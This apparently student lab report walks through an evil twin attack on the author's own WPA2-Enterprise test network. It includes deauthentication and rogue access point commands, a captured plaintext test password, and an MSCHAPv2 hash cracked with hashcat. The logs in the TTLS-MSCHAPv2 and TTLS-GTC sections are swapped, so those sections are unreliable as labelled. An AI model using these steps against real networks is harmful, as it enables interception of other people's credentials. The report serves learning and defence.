

Evil Twin WPA2-Enterprise Attack Report

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1. WPA2-Enterprise Network Setup

A secure Wi-Fi network was created using WPA2-Enterprise. A RADIUS server was configured on a Raspberry Pi and a test user was added:

Name Cleartext-Password := "pa55w0rd1"

Connection was successfully tested from a client using both TTLS-GTC and TTLS-MSCHAPv2 methods.

2. Attacker Machine Preparation

The attacker machine (Kali Linux) was prepared with two Wi-Fi interfaces (wlan0 and wlan1). Kali repositories were added, and necessary tools were installed:

openssl, hostapd-mana, aircrack-ng, hashcat

The wlan0 interface was set to monitor mode using:

```
sudo airmon-ng start wlan0
```

3. Identifying Victim Network

Using airodump-ng, the target network 'ClassWifi' was located operating on channel 9. Its BSSID was noted for the next steps.

```
CH 9 ][ Elapsed: 9 mins ][ 2025-06-09 18:41 ][ WPA handshake: 50:91:E3:BA:F8:65
```

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
52:91:E3:2A:FA:FC	-89	3	1442	0 0	1	360	WPA2	CCMP	PSK	<length: 0>
BC:E6:7C:56:3B:50	-85	43	570	4 0	11	360	WPA2	CCMP	MGT	eduroam
BC:E6:7C:56:3B:51	-84	26	389	0 0	11	360	OPN			PB-GUEST
52:91:E3:2B:1A:0D	-88	0	799	0 0	1	360	WPA2	CCMP	PSK	<length: 0>
50:91:E3:BB:1A:0D	-91	0	1056	0 0	1	360	WPA2	CCMP	PSK	Router_2
00:23:CD:19:1D:30	-91	10	1454	0 0	9	270	WPA2	CCMP	PSK	WM440
50:91:E3:BA:FA:FC	-89	1	1467	3 0	1	360	WPA2	CCMP	PSK	Router_1
52:91:E3:2A:F8:65	-32	23	5677	0 0	9	360	WPA2	CCMP	PSK	<length: 0>
54:E6:FC:99:19:1F	-11	100	4760	63 0	9	54e	WPA2	CCMP	MGT	ClassWifi
50:91:E3:BA:F8:65	-32	30	5672	1162 0	9	360	WPA2	CCMP	MGT	ClassWifi

BSSID	STATION	PWR	Rate	Lost	Frames	Notes	Probes
50:91:E3:BB:1A:0D	54:E6:FC:99:18:8B	-36	0 - 1	6	14		Router_2
(not associated)	22:6B:61:B4:B3:F2	-87	0 - 1	0	1		
(not associated)	42:B3:65:41:F0:CF	-51	0 - 1	0	1		
(not associated)	9E:A8:99:8C:D4:80	-52	0 - 1	0	1		
(not associated)	0E:46:05:34:CE:87	-52	0 - 1	0	1		

4. Evil Twin Attack - TTLS-MSCHAPv2

A fake access point was created using hostapd-mana. A deauthentication attack was launched to force the client to reconnect to the rogue AP. The MSCHAPv2 hash was captured.

```
student::::451c37f8419858f8c51dc52e775c2e9202ee0cd7c22b5d37:bed6961e89776905:pa55w0rd1
Session.....: hashcat
Status.....: Cracked
Hash.Mode.....: 5500 (NetNTLMv1 / NetNTLMv1+ESS)
Hash.Target.....: student::::451c37f8419858f8c51dc52e775c2e9202ee0cd7...776905
Time.Started.....: Mon Jun 9 18:38:17 2025 (0 secs)
Time.Estimated...: Mon Jun 9 18:38:17 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (rockyou.txt)
Guess.Queue.....: 1/1 (100.00%)
Speed.#1.....: 3270.3 kH/s (7.19ms) @ Accel:256 Loops:1 Thr:64 Vec:1
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 1474560/14344385 (10.28%)
Rejected.....: 0/1474560 (0.00%)
Restore.Point....: 1392640/14344385 (9.71%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: pink918 -> mosneag
Hardware.Mon.#1...: Temp: 36c Fan: 40%

Started: Mon Jun 9 18:38:13 2025
Stopped: Mon Jun 9 18:38:18 2025
student@student-desktop:~$
```

Deauthentication was performed using:

```
sudo aireplay-ng -0 10 -a 50:91:E3:BA:F8:65 wlan0mon
```

```
student@student-desktop:~$ sudo aireplay-ng -0 10 -a 50:91:E3:BA:F8:65 wlan0mon
18:33:29 Waiting for beacon frame (BSSID: 50:91:E3:BA:F8:65) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
18:33:30 Sending DeAuth (code 7) to broadcast -- BSSID: [50:91:E3:BA:F8:65]
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18:33:31 Sending DeAuth (code 7) to broadcast -- BSSID: [50:91:E3:BA:F8:65]
18:33:31 Sending DeAuth (code 7) to broadcast -- BSSID: [50:91:E3:BA:F8:65]
18:33:32 Sending DeAuth (code 7) to broadcast -- BSSID: [50:91:E3:BA:F8:65]
18:33:32 Sending DeAuth (code 7) to broadcast -- BSSID: [50:91:E3:BA:F8:65]
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18:33:34 Sending DeAuth (code 7) to broadcast -- BSSID: [50:91:E3:BA:F8:65]
```

The captured hash was extracted from hostapd.creds and cracked using Hashcat with RockYou dictionary.

```
student@student-desktop:~$ sudo hostapd-mana /etc/hostapd-mana/hostapd-mana.conf
Configuration file: /etc/hostapd-mana/hostapd-mana.conf
MANA: Captured credentials will be written to file '/etc/hostapd-mana/hostapd.creds'.
Using interface wlan1 with hwaddr 54:e6:fc:99:19:1f and ssid "ClassWifi"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.11: authenticated
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 54:e6:fc:99:18:7d
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: student
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21
MANA EAP Identity Phase 1: student
MANA EAP GTC | student:pa55w0rd1
wlan1: CTRL-EVENT-EAP-SUCCESS 54:e6:fc:99:18:7d
wlan1: STA 54:e6:fc:99:18:7d WPA: pairwise key handshake completed (RSN)
wlan1: AP-STA-CONNECTED 54:e6:fc:99:18:7d
wlan1: STA 54:e6:fc:99:18:7d RADIUS: starting accounting session 783AD4B02839D810
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.1X: authenticated - EAP type: 0 (unknown)
^Cwlan1: interface state ENABLED->DISABLED
wlan1: AP-STA-DISCONNECTED 54:e6:fc:99:18:7d
wlan1: AP-DISABLED
nl80211: deinit ifname=wlan1 disabled_11b_rates=0
```

5. Evil Twin Attack - TTLS-GTC

In the second test, the victim client used TTLS-GTC. The hostapd-mana console successfully captured the password in plaintext.

```

student@student-desktop:~$ sudo hostapd-mana /etc/hostapd-mana/hostapd-mana.conf
Configuration file: /etc/hostapd-mana/hostapd-mana.conf
MANA: Captured credentials will be written to file '/etc/hostapd-mana/hostapd.creds'.
Using interface wlan1 with hwaddr 54:e6:fc:99:19:1f and ssid "ClassWifi"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLED
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.11: authenticated
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.11: associated (aid 1)
wlan1: CTRL-EVENT-EAP-STARTED 54:e6:fc:99:18:7d
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=1
MANA EAP Identity Phase 0: student
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=25
wlan1: CTRL-EVENT-EAP-PROPOSED-METHOD vendor=0 method=21
MANA EAP Identity Phase 1: student
MANA EAP EAP-MSCHAPV2 ASLEAP user=student | asleap -C be:d6:96:1e:89:77:69:05 -R 45:1c:37:f8:41:98:
58:f8:c5:1d:c5:2e:77:5c:2e:92:02:ee:0c:d7:c2:2b:5d:37
MANA EAP EAP-MSCHAPV2 JTR | student:$NETNTLM$bed6961e89776905$451c37f8419858f8c51dc52e775c2e9202ee0
cd7c22b5d37:::
MANA EAP EAP-MSCHAPV2 HASHCAT | student:::451c37f8419858f8c51dc52e775c2e9202ee0cd7c22b5d37:bed6961
e89776905
OpenSSL: EVP_DigestInit_ex failed: error:0308010C:digital envelope routines::unsupported
wlan1: CTRL-EVENT-EAP-FAILURE 54:e6:fc:99:18:7d
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.1X: Supplicant used different EAP type: 21 (TTLS)
wlan1: STA 54:e6:fc:99:18:7d IEEE 802.11: deauthenticated due to local deauth request

```

6. Conclusion

This experiment demonstrated the effectiveness of Evil Twin attacks against WPA2-Enterprise:

- TTLS-GTC leaks the plaintext password
- TTLS-MSCHAPv2 allows password hash capture, crackable with dictionary attack

Recommendation: Enterprises should enforce certificate-based authentication (e.g., EAP-TLS) to avoid these attacks.